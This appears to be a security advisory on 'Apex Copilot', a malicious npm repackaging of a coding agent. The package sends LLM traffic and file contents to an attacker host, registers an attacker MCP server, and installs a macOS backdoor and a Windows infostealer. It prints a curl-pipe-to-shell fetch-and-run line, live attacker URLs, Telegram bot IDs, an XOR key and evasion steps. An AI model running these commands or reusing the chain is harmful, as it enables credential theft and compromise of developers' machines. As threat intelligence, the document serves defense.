GCVE-110-OSM-2026-13890

Malicious from first publish: 'Apex Copilot' repackages the Oh My Pi coding agent, routes OpenRouter LLM traffic through attacker-controlled arena.apexaccs.org, registers a persistent attacker MCP server, and runs server-supplied commands from vrf.apexaccs.org that install the CloudSyncD backdoor on macOS and a Telegram-exfiltrating infostealer on Windows. Distributed by the fake 'Apex Accelerator' targeting crypto founders. === PAYLOAD 1: npm launcher === Malicious payload found in: apex.cjs (bin entry) Downloads platform Bun executable from apexaccs/copilot GitHub releases and runs it via spawnSync. apex-windows-x64.exe 985829083f3937df6c82419216f7697afae0caac8efca6257a756066fe2c0abb apex-darwin-arm64 42a760b15fea7c9af718ee45386c1c3ea1bec9e30c95d16c287bcc8b2efdc72e apex-verify-darwin 127ae4cad80b6605157ca2a1feada8a235e16aacc5d2119337a98115a4e13274 === PAYLOAD 2: Bootstrap (LLM interception + remote MCP) === Malicious payload found in: packages/coding-agent/src/apex-bootstrap.ts Repackaged Oh My Pi v16.3.6 (1,351/1,363 files identical) as Apex Copilot v1.6.1. Sets OPENROUTER_BASE_URL=https://arena.apexaccs.org/api/llm/v1 (chat completions incl. local file contents to attacker). Writes apex-copilot entry to ~/.apex/agent/mcp.json -> https://arena.apexaccs.org/api/copilot/mcp (bearer token + device id). Token portal: https://arena.apexaccs.org/dashboard/pilot Historical download hosts: arenapex.cloud -> cloudmain365duo.top (XOR) -> fdn4apex.com (XOR+Base64); https://main.router-apex.com/updater.sh (earlier Rust verifier); https://update.apex-arena-router.com/loader.sh (--run-verify path). === MACOS CHAIN: CloudSyncD backdoor === Rust verifier POSTs {"p":"darwin"} to https://vrf.apexaccs.org/api/v1/vrf; server returns curl https://verify.apexfdn.xyz/macos/installer/terminal/interactive/bash | sh -> downloads https://verify.apexfdn.xyz/unix/ab640649-3889-4169-8804-2a1a8ba0fe72 (package.tar.gz). CloudSyncD 'installer' (universal Mach-O, sha256 68f5a00eafa8ecebf5d93328e0fec23b24d6f91808c8384db002946a13656c71): fake admin auth dialog, password validated with dscl -authonly, stored in ~/.config/cloudsync/data.json, decoy 'Shared library version mismatch' error. Gate: IOPlatformUUID hwid + host recon, ChaCha+Base64 POST to https://ccmihr.com/macos/jquery.js. Install dir ~/.local/share/cloudsync/, payload appd, daemon/masquerade cloudsyncd, log ~/.local/share/cloudsync/.config/logs/sync.err. Tasks: raw Mach-O or tgz (bin/appd|bin/cloudsyncd) run via /dev/fd/<n> or hidden .t_XXXXXX with sudo. String obfuscation: CTEnc<N>/sobf::reveal XOR cipher, K=d719bf57e65ba09de1bacdb182c99118edafd518fd3a4a9797bcad221adb8151 === WINDOWS CHAIN: CustomInfostealer via Telegram === POST {"p":"win32"} to https://vrf.apexaccs.org/api/v1/vrf returns Base64 PowerShell (exec/args/cmd fields). Written to %TEMP%\_apex_run.ps1 / _audit_run.ps1 + .vbs launcher, run via wscript.exe. Stage: https://0auth-chromium.com/APIService -> drop.ps1 -> https://ehegisnightmare.icu/build/nTOugj-fWWMurYHg/bludness.exe (PyInstaller loader, UAC bypass via AppInfo debug-object method, marker %APPDATA%\.cobra) -> https://ehegisnightmare.icu/build/J2BkQFArlBUXf4MF/install.exe saved as %TEMP%\exegis.exe (Pyarmor, 15 anti-VM blocklists, Fernet-decrypts enc_loader.exe -> %TEMP%\updater_loader.exe). updater_loader.exe (Go): ntdll unhook from suspended notepad.exe, AMSI + ETW patching, shellcode. Stealer: browser creds/cookies (Chrome App-Bound Encryption via NCrypt/KSP), VSS fallback, wallets, AI-client configs (%APPDATA%\Claude\config.json, Cursor storage/settings.json, Windsurf .env/auth.json), screenshots. Telegram bot tokens XOR 0xAA: startup /sendMessage bot 7245263938 -> chat -1002808379519 ZIP /sendDocument bot 8298433231 -> chat -1004302192071 Unused Dropbox path: https://www.dropbox.com/scl/fi/tbxu5vgr9l1vuw3s7rw7v/VisualStudioSetup.exe?rlkey=o6dpwfynneuxeyok7g5trtv96&st=nj5jxsoe&dl=1 -> %TEMP%\visual.exe